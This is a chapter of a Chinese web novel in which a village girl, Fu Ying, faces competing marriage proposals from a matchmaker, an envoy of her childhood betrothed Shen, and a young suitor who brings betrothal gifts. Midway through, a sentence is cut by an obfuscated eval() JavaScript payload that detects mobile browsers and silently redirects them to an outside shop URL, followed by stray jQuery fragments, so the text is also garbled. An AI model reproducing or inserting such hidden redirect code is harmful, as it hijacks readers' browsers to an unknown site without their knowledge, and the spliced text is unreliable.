7. 第一年夏(7)
    傅媖端着两碗蜜水,低着头跟在李兰花身后进了屋。

    孙家的院子就是寻常土坯房,堂屋也并没见有多气派。

    后墙上凿出的洞里供奉着神龛,两边各贴着一句吉祥话,墙角堆着竹筐、篾条、锄头等等一些乱七八糟的东西,屋里只摆了张像样的桌子和四张凳子。

    桌面擦得很干净,但上头空荡荡的连个果盘都没有,直至四碗甜水放上去,才显得不那么难看。

    傅媖把碗放到桌上后就站到一边,没敢四处打量,全当自己不存在。

    可尽管这样,还是有一只粗粝的手突然抓住了她的手腕,吓了她一跳。

    她抬起头,一张富态的老脸映入眼帘。

    王婆子笑眯眯地说:“这就是媖娘吧,好俊的小娘子。婆婆我做了这么多桩媒,还没遇见过比你生得模样更好的小娘子呢。”

    傅媖没说话,只客气地笑笑,不着痕迹地将手抽出来。

    一抬头,却发现对面还坐了个脸生的妇人,与李兰花一般年纪,高眉高鼻高颧骨,肃着一张脸,瞧着一副很不好说话的模样。

    她身上的衣裳料子比村里人的好上许多,虽然颜色洗得有些发旧,上头的图案也是老样子,可瞧着就不像是村里的。

    傅媖愣了愣,没好意思继续盯着她瞧,连忙撇开眼。

    心想,这难道是里长的媳妇?

    瞧着果然不是个善茬。他们家如此看重这桩亲事,恐怕这事儿更难了了。

    傅媖这么想着,那妇人不疾不徐地开口道:“傅娘子,沈家郎君说,多年未见,托我问娘子妆安。”

    傅媖愣愣地点过头,却没能领会到她说的沈家郎君究竟是谁。

    傅媖觉得自己只是同范三娘打了个招呼,可落到在场其他三个人眼里,就不是这么简单了。

    一时间,其余三人各怀心思,面色各异。

    王婆子的脸色尤其难看。

    方才她那般夸赞,傅媖都一声不吭,此刻却一直盯着这妇人的冷脸瞧,不就是在下她的面子么!

    如此想着,王婆子看看孙丰年,再看看李兰花,冷哼一声道:“老孙头,你家到底是什么意思?前几日已说好了要将这小娘子许配给里长家的郎君,怎么今日就要变卦?这婆娘又是哪里冒出来的?就算要提亲,也该讲个先来后到才是。”

    她今儿原本一早就要来孙家下聘的,可因为一些家事耽搁了。

    原本想着反正老早就跟孙丰年商量好了,已是板上钉钉的事儿,出不了什么岔子。结果没成想,才被孙丰年迎进他家堂屋,就发现里头竟还坐了个村里没见过的妇人。

    她一问才知她竟然也是旁人请来到孙家求亲的。

    只是她打量这妇人面冷,嘴又不甜,想来也不是个惯会做媒的,便又宽心下来,但心里到底是攒了些火气。

    傅媖张了张口才要说话,却听那妇人先一步说道:“您说的极是,确是要讲先来后到。不过沈郎君少时已与这小娘子立过婚约了。若论先来后到,也是沈郎君先来,您家后到才是。”

    “你说啥?”王婆子顿时瞪圆了一双眼,难以置信地看向孙丰年,却见他也皱着眉,好半晌,不情不愿地点了点头。

    王婆子这才终于意识到情势不对,今儿这趟怕是没有她想象中那般顺利了。

    “老孙头,咱们分明老早就说好了的”,王婆子皱起眉,试图从孙丰年身上入手挽救一下,“今儿下聘,挑个日子,过个三五日就能成婚。”

    顿了顿,她又忍不住说了句重话,“你若是反悔了,里长那头可不好交代了。”

    王婆子本以为搬出里长能叫孙丰年忌惮,继而如先前约定好的那般与她过聘,敲定这门亲事。

    谁知孙丰年并没答话,反倒转头看向一旁坐着的那个妇人。

    孙丰年看过去时,范三娘一脸平静地任他打量,看不出喜怒。

    他不禁想起王婆子来之前这娘子同他说的那番话,眉心一跳。

    他从未跟这样的人打过交道。

    这妇人起先一登门,先是说明来意,接着便拿出一张五十两银子的银票递到他手上,说:“沈郎君说两家父母虽早年已立过约,但还未正儿八经地下聘。且听闻你这些年养育小娘子很是不易,另十两银子就请一道收下吧。”

    等他颤颤巍巍地接过去,仔细端详着那张他这辈子从未见过的银票时,却又听她说:“不过我来时还听村中人说你家似乎对里长家的那位公子很是欣赏,可有此事?只是可惜,你家的大娘子已经出嫁,家中似乎没有哪位尚未婚配的娘子可以许配给他家了。”

    那时她才将话说完,孙丰年立刻就觉得自己手里那张银票变得烫手起来。

    可不等他说话,那妇人的眼神就望了过来,道:“沈郎君还说,你当年未曾见过两家写定的婚书,兴许不肯轻信他。倒也无妨,他已叫我将婚书带在身上,说也可叫你一观,仔细辨别真伪。不过这婚书至关重要,若有人毁婚可凭此去官府请人主持公道,毁婚者当徒一年。沈郎君一直以来都带在身上,不敢有丝毫损毁,您也需小心些。”

    说完,就往怀中掏去。

    乡下人定亲只要找个媒人上门说和,再给了聘礼就成了,孙丰年哪儿听过什么婚书不婚书的,况且他也没听媖娘提起过有这东西啊。

    且听这妇人的话,如此重要的东西要是在他这儿出了差错,那还了得。

    孙丰年被她这话镇住,连连摆手说不用。

    回想起这些,又想起那张银票,孙丰年咬咬牙下定了决心。

    “王婶子,实在对不住,叫你白跑这一趟。你放心,里长那头我回来亲自去说,这事儿跟你没关系,都是我的不是。回头等我家这丫头成婚,一定上门请你来吃酒。”

    这就是拒绝的意思了。

    想到这桩亲事没谈成,挣不到钱且砸她的招牌不说,还叫她还没法跟里长那头交差,白白得罪人,王婆子顿时怒不可遏,觉得自个儿被当成猴儿给孙家戏耍了一通。

    她一巴掌把桌子拍得山响:“姓孙的,哪有你这般办事儿的?这是说女婿,不是你到集上买棵菜,说不要就不要了!你今儿不光打了里长的脸,还打了我王婆子的脸,往后你休想再叫我登你家门来说亲!”

    这村里再想挑个比她还会保媒的媒婆可难的,她可是知道孙丰年的儿子还没议亲。将来她随便出去说道几句,就能叫他儿子这辈子都难娶媳

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022868|148743||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    妇!

    一直站在旁边沉默不语的李兰花一听立马急了,她可知道这些媒婆的嘴皮子都有多厉害,假的能说成真的,死的也能说成活的。

    她连忙上前挽起王婆子的手,准备说几句好听的讲讲情。

    可不等开口,外头突然传来一声高喊。

    “兰花婶儿,你在家么?”

    李兰花转头应了声,只得放开王婆子的手走出堂屋去,却见钱二虎带着个和他模样有六七分相似的男人,身后还跟着个妇人和几个壮汉,那些壮汉两两一道,抬着几个大箱,一群人气势汹汹地进了她家院子。

    李兰花吓了一跳,忙问:“二虎子,你这是干啥?”

    钱二虎挠挠头,有些不好意思地说:“自然是来提亲,婶子你瞧,俺不光带了媒人,聘礼也都带来了!”

    他虽然羞涩,但却说得大声。

    方才他进来时就听王婆子在里头嚷嚷,但具体说的是啥却没听清。但他不管那些,他只想叫媖娘听见,他带着聘礼来跟她提亲了!

    他也不怕王婆子在里头,若是王婆子不在他反倒是要担心了。

    这两日他一直提心吊胆,生怕王婆子哪天来孙家下聘,孙丰年应下了。他倒不是不肯早来,只是他想着把小叔叫来与他一起应当更容易叫孙丰年点头,可小叔整日在衙门里当差,直到今日才休沐。

    他方才走到墙外听见王婆子的声音还暗暗松了口气,幸好赶上了,若是再晚一日怕是都要来不及了。

    这下李兰花彻底惊住了。

    震惊过后,心里头又止不住地往上冒酸水。

    想当年她嫁闺女的时候可没见过这种三家人同时上门提亲的场面,如今换了媖娘却真说得上是“一家有女百家求”。

    难不成她李兰花的闺女就比她妹子的闺女差么?

    但到底有人求亲是好事,说不定钱二虎能拿出比媖娘那未婚夫婿更多的聘礼来。

    想到这儿,李兰花脸色好看了些,点点头侧身让出一条路:“进来说吧。”

    钱二虎进去后目光先落在傅媖身上,少年那双乌黑的眼睛里顿时盛满了笑意。

    可等瞧见里头除王婆子外的另一个妇人时,他忽然就敛了笑意,疑惑地打量了两眼范三娘。

    他常年往镇子上跑,见过范三娘,知道她是镇子上开胭脂铺子的,可她又不认识孙家人,她来干啥?

    整间屋子里坐满了来提亲的人,原本并不算宽敞的屋子突然变得拥挤起来。

    作为被提亲的那个人,傅媖却没觉得有多荣幸,反而如坐针毡。

    唯一值得庆幸的是,她似乎不用再嫁给里长家的那个傻儿子了。

    可看今日这架势,她是势必要在沈清衍和钱二虎中二选一选定一个的。

    虽说是她来选,但傅媖还是有种被人逼迫的感觉,不由得烦闷起来。

    恰在这时,她瞧见对面的范三娘忽然站起身走到她身侧,轻声对她说:“娘子,来时沈郎君叫我与你说,‘切莫害怕,但凭心意’。”

    她声音不急不缓,衣衫带香,离得近了似乎还能闻见是淡淡的白梨香,如春风拂面。

    傅媖烦躁不安的心忽然就安定下来了。